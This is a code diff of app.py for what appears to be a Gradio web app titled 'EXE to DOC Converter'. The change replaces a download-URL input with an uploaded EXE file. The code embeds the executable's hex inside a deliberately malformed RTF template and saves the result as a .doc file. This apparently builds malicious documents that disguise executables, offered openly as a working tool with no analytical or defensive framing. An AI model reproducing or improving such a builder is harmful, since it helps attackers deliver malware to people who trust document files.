Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,11 +1,16 @@
|
|
| 1 |
import gradio as gr
|
| 2 |
import binascii
|
| 3 |
import os
|
|
|
|
| 4 |
from pathlib import Path
|
| 5 |
|
| 6 |
-
def convert_exe_to_doc(
|
| 7 |
-
"""Convert EXE
|
| 8 |
-
#
|
|
|
|
|
|
|
|
|
|
|
|
|
| 9 |
file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
|
| 10 |
file += "\x0d\x0a"
|
| 11 |
file += "{\\colortbl ;\\red128\\green128\\blue0;}"
|
|
@@ -14,8 +19,8 @@ def convert_exe_to_doc(ddl_url: str, filename: str = "output.doc") -> str:
|
|
| 14 |
URL2 = "00"
|
| 15 |
nxt = "{}}}}}}"
|
| 16 |
|
| 17 |
-
# Convert the
|
| 18 |
-
binnu = binascii.b2a_hex(
|
| 19 |
|
| 20 |
# Create the output directory if it doesn't exist
|
| 21 |
output_dir = "outputs"
|
|
@@ -32,30 +37,29 @@ def convert_exe_to_doc(ddl_url: str, filename: str = "output.doc") -> str:
|
|
| 32 |
|
| 33 |
return output_path
|
| 34 |
|
| 35 |
-
def process_conversion(
|
| 36 |
"""Handle the conversion process with error handling."""
|
| 37 |
-
if
|
| 38 |
-
raise gr.Error("Please
|
| 39 |
|
| 40 |
if not filename:
|
| 41 |
-
filename = "
|
| 42 |
|
| 43 |
try:
|
| 44 |
-
output_path = convert_exe_to_doc(
|
| 45 |
return output_path, "Conversion successful!"
|
| 46 |
except Exception as e:
|
| 47 |
raise gr.Error(f"Conversion failed: {str(e)}")
|
| 48 |
|
| 49 |
with gr.Blocks(title="EXE to DOC Converter") as demo:
|
| 50 |
gr.Markdown("# EXE to DOC Converter")
|
| 51 |
-
gr.Markdown("
|
| 52 |
|
| 53 |
with gr.Row():
|
| 54 |
with gr.Column():
|
| 55 |
-
|
| 56 |
-
label="
|
| 57 |
-
|
| 58 |
-
lines=1
|
| 59 |
)
|
| 60 |
filename = gr.Textbox(
|
| 61 |
label="Output Filename (optional)",
|
|
@@ -71,7 +75,7 @@ with gr.Blocks(title="EXE to DOC Converter") as demo:
|
|
| 71 |
# Handle conversion when button is clicked
|
| 72 |
convert_btn.click(
|
| 73 |
fn=process_conversion,
|
| 74 |
-
inputs=[
|
| 75 |
outputs=[file_output, status_output]
|
| 76 |
)
|
| 77 |
|
|
|
|
| 1 |
import gradio as gr
|
| 2 |
import binascii
|
| 3 |
import os
|
| 4 |
+
from typing import Tuple # Added this import to fix the error
|
| 5 |
from pathlib import Path
|
| 6 |
|
| 7 |
+
def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> str:
|
| 8 |
+
"""Convert EXE file to DOC file with embedded data."""
|
| 9 |
+
# Read the binary content of the input file
|
| 10 |
+
with open(input_file_path, 'rb') as f:
|
| 11 |
+
file_content = f.read()
|
| 12 |
+
|
| 13 |
+
# RTF template with placeholders for the binary data
|
| 14 |
file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
|
| 15 |
file += "\x0d\x0a"
|
| 16 |
file += "{\\colortbl ;\\red128\\green128\\blue0;}"
|
|
|
|
| 19 |
URL2 = "00"
|
| 20 |
nxt = "{}}}}}}"
|
| 21 |
|
| 22 |
+
# Convert the file content to hex
|
| 23 |
+
binnu = binascii.b2a_hex(file_content).decode()
|
| 24 |
|
| 25 |
# Create the output directory if it doesn't exist
|
| 26 |
output_dir = "outputs"
|
|
|
|
| 37 |
|
| 38 |
return output_path
|
| 39 |
|
| 40 |
+
def process_conversion(input_file: gr.File, filename: str) -> Tuple[str, str]:
|
| 41 |
"""Handle the conversion process with error handling."""
|
| 42 |
+
if input_file is None:
|
| 43 |
+
raise gr.Error("Please upload a file first")
|
| 44 |
|
| 45 |
if not filename:
|
| 46 |
+
filename = Path(input_file.name).stem + ".doc"
|
| 47 |
|
| 48 |
try:
|
| 49 |
+
output_path = convert_exe_to_doc(input_file.name, filename)
|
| 50 |
return output_path, "Conversion successful!"
|
| 51 |
except Exception as e:
|
| 52 |
raise gr.Error(f"Conversion failed: {str(e)}")
|
| 53 |
|
| 54 |
with gr.Blocks(title="EXE to DOC Converter") as demo:
|
| 55 |
gr.Markdown("# EXE to DOC Converter")
|
| 56 |
+
gr.Markdown("Upload an EXE file to convert it to a DOC file with embedded data.")
|
| 57 |
|
| 58 |
with gr.Row():
|
| 59 |
with gr.Column():
|
| 60 |
+
file_input = gr.File(
|
| 61 |
+
label="Upload EXE File",
|
| 62 |
+
type="filepath" # This gives us the file path directly
|
|
|
|
| 63 |
)
|
| 64 |
filename = gr.Textbox(
|
| 65 |
label="Output Filename (optional)",
|
|
|
|
| 75 |
# Handle conversion when button is clicked
|
| 76 |
convert_btn.click(
|
| 77 |
fn=process_conversion,
|
| 78 |
+
inputs=[file_input, filename],
|
| 79 |
outputs=[file_output, status_output]
|
| 80 |
)
|
| 81 |
|